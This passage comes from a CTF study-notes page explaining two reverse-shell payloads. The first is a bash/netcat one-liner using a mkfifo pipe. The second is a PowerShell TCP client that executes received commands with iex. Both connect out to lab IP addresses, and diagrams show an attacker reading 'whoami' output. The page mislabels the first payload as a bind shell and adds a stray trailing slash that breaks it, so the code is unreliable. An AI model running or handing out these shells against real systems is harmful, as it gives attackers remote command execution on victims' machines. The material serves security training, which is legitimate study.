> For the complete documentation index, see [llms.txt](https://capcap-1.gitbook.io/capcap/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://capcap-1.gitbook.io/capcap/readme/ctf-modules/vulnerability-assessment/shells-and-payloads/payloads-explaination.md).

# Payloads Explaination

We used this bind shell previously:

```
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.12 7777 > /tmp/f/
```

```
┌─────────────────────────────────────────────┐
│              VICTIM MACHINE                 │
│                                             │
│  /tmp/f pipe  →  bash shell  →  Netcat      │
│      ↑                              │       │
│      └──────────────────────────────┘       │
└─────────────────┬───────────────────────────┘
                  │ TCP connection
                  │ (over internet)
┌─────────────────▼───────────────────────────┐
│              ATTACKER MACHINE               │
│                                             │
│  Types: "whoami"  ←→  Netcat listener       │
│  Sees:  "root"                              │
└─────────────────────────────────────────────┘
```

1. Attacker types `whoami` → goes through Netcat → into `/tmp/f`
2. `cat` reads it → feeds it to `bash`
3. `bash` runs `whoami` → output goes to Netcat
4. Netcat sends output back to attacker → attacker sees `root`

```
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

```
ATTACKER                          VICTIM (Windows)
   |                                    |
   |  Listening with nc -lvnp 443       |
   |                                    |
   |  <====== TCP Connection ========>  |
   |                                    |
   |  Attacker types: "whoami"          |
   |  ----sends as bytes--------------> |
   |                         decode bytes to text
   |                         iex runs "whoami"
   |                         result = "DESKTOP\admin"
   |                         encode back to bytes
   |  <---sends result back-----------  |
   |  Attacker sees:                    |
   |  DESKTOP\admin                     |
   |  PS C:\Users\admin>                |
```


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